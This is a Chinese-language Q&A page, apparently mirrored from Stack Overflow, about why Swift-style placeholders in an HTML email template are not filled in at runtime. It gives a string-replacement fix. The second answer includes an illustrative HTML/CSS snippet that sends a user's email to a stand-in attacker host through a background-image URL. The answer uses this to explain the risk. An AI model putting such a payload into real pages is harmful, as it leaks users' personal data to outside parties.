代码之家  ›  专栏  ›  技术社区  ›  Lachtan

如何使用变量更改HTML文件的内容?

  •  1
  • Lachtan  · 技术社区  · 9 年前

    我有HTML。HTML文件包含很少这样的文本: \(something) 。此HTML已转换为字符串。但是,当我将其作为html正文(或web视图)放入邮件时,将显示以下内容而不是我的数据 \(某物) 。有人知道如何处理这个问题吗?

    我知道html不是swift,但当我将其转换为字符串时,它的行为应该像swift字符串一样,不是吗?非常感谢。

    为了更好地理解,请查看屏幕截图。

    我的html文件中的一段代码:

    OSX邮件应用程序:

    enter image description here

    2 回复  |  直到 9 年前
        1
  •  4
  •   Tal Zion    9 年前

    我遇到了同样的问题 stringByReplacingOccurrencesOfString 。请参见下面的示例代码:

    你得到了你的 html 通过调用 NSBundle

    let filePath = NSBundle.mainBundle().pathForResource("emailTemplate", ofType: "html")
    let contentData = NSFileManager.defaultManager().contentsAtPath(filePath!)
    let emailTemplate = NSString(data: contentData!, encoding: NSUTF8StringEncoding) as? String
    

    在您的 html file 例如,用唯一的目标替换变量的位置 @% ,无所谓,只要它是该变量唯一的。让我们假设您的 html格式 文件将如下所示:

    HTML File

    然后将字符串替换为目标:

    let replacedHtmlContent = emailTemplate?.stringByReplacingOccurrencesOfString("@%", withString: "Name")
    

    您的新 html格式 内容将是:

    New HTML Content output

    希望这有帮助,祝你好运!

        2
  •  0
  •   Barnyard G one    5 年前

    编译器处理字符串插值的基础工作;因此,当您在运行时传递该字符串时,它(谢天谢地)不会对其求值,以查找要填充的变量。

    如果是这样的话,有人可以通过数据文件将任意代码传递到您的程序中,它将被评估,因为

    字符串插值是一种从常数的混合构造新字符串值的方法, 变量 、文字和 表达 通过将它们的值包含在字符串文本中。(添加强调)

    摘自:苹果股份有限公司Swift编程语言(Swift 5.0)。苹果图书。 https://books.apple.com/us/book/the-swift-programming-language-swift-5-0/id881256329

    因此,在运行时评估字符串并从执行范围填充变量将允许攻击者泄漏数据,比如

    <html>
        <body></body>
        <style>body{ background-image: url("http://bad-guys-website/?stolen_email=\(userEmailVariableInSwiftCodeFromApp)");}</style>
    </html>